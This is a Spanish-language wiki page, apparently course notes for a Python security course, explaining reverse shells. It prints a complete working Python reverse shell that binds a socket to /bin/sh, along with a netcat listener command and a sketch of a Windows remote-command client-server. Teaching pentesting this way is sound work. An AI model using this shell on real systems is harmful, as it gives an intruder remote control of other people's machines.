Herramientas de usuario

Herramientas del sitio


informatica:programacion:cursos:python_avanzado_proyectos_seguridad:shell_inversa_sockets

Shell inversa con sockets

Módulo perteneciente al curso Python avanzado para proyectos de seguridad

Creación de una shell inversa

En este ejemplo vamos a construir un script de shell inversa de Python.

Una Shell de Unix es el término usado en informática para referirse a un intérprete de comandos, el cual consiste en la interfaz de usuario tradicional de los sistemas operativos basados en Unix y similares.

Una Shell inversa se trata de acción mediante la cual un usuario consigue acceder a la shell de un servidor externo. Por ejemplo, si estás trabajando en una fase de pentesting relacionada con la post-explotación y te gustaría crear un script que se invoque en ciertos escenarios que automáticamente hará obtener un shell para acceder al sistema de ficheros de otra máquina, podríamos construir nuestra propia shell inversa en Python.

En este caso estamos utilizando dos nuevos módulos: os y subprocess. El módulo os es un módulo de interfaz de sistema operativo multipropósito.

El módulo de subprocess permite que el script ejecute comandos e interactuar con la entrada y salida de estos comandos.

Usamos el método sock.connect() para conectarnos a un host correspondiente a una determinada dirección IP y puerto especificados (en nuestro caso es localhost)

Una vez hemos obtenido la shell, podríamos obtener un listado del directorio mediante el comando /bin/ls, pero antes necesitamos establecer la conexión con nuestro socket a través de la salida del comando. Esto lo logramos con la instrucción: os.dup2(sock.fileno())

#!/usr/bin/python
 
import socket
import subprocess
import os
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 45679))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
shell_remote = subprocess.call(["/bin/sh", "-i"])
#proc = subprocess.call(["/bin/ls", "-i"])

En el caso de Windows podríamos crear la shell inversa creando una aplicación cliente-servidor donde el servidor envía comandos al cliente.

El servidor podría estar escuchando en el puerto localhost:9090 para una nueva conexión. Cuando un cliente solicita una nueva conexión, enviará su nombre de host y el servidor imprimirá el nombre de host y la dirección del cliente solicitó la conexión.

Una vez tenemos servidor y cliente en funcionamiento,nuestro objetivo sería extender nuestro cliente para que pueda ejecutar cualquier comando que el servidor le envíe. Para ello, podríamos usar un módulo de Python llamado subprocess para ejecutar el comando desde el servidor. El módulo de subprocess le permite ejecutar nuevos procesos y obtener la salida de los comandos que ejecutamos.

Primero lanzamos el servidor y luego el cliente.En el servidor seleccionamos el cliente que acabamos de conectar(en el ejemplo seleccionamos 0). Posteriormente, desde la shell del servidor ejecutamos un comando que se ejecutaría en el cliente. Por ejemplo, podríamos ejecutar tasklist desde el servidor y en el cliente se ejecutaría la lista de procesos del servidor.

$ python servidor.py
.Server started.
...
0 ('127.0.0.1', 64137, 'PORTATIL0631')
Select your client : 0
C:\Users\usuario\Desktop>tasklist

En el script del cliente aparecería la ejecución de esos comandos que se envían desde el cliente:

$ python cliente.py 
Client: received command join
Client: received command tasklist

Probando la shell inversa

Primero usaremos netcat:

ncat -l -v -p 45679

Se quedará escuchando por el puerto 45679.

Ahora ejecutamos el script python con la shell inversa

python reverse_shell.py

A partir de este momento, si volvemos a la consola con la ejecución de netcat podremos ver que se ha establecido una conexión (la del script de Python) y estaremos en la shell del equipo que ha ejecutado el script de la shell inversa. A partir de ahí, podríamos ejecutar comandos del sistema.

FAQ

¿Para qué sirve la primera línea que podemos ver en los scripts #!/usr/bin/python?

Cuando desarrollamos scripts en Python esta línea le dice dónde encontrar al intérprete de python. En este caso se refiere a la ruta donde tenemos el ejecutable de python en un sistema basado en unix. Con esta línea, cualquier script de Python se puede ejecutar colocando su nombre después de python en la línea de comandos.

¿Qué es una shell inversa?

Una Shell inversa se trata de acción mediante la cual un usuario consigue acceder a la shell de un servidor externo. Por ejemplo, si estás trabajando en una fase de pentesting relacionada con post-explotación y te gustaría crear un script que se invoque en ciertos escenarios que automáticamente hará obtener un shell para acceder al sistema de ficheros de otra máquina, podríamos construir nuestra propia shell inversa en Python.

Recursos

informatica/programacion/cursos/python_avanzado_proyectos_seguridad/shell_inversa_sockets.txt · Última modificación: por tempwin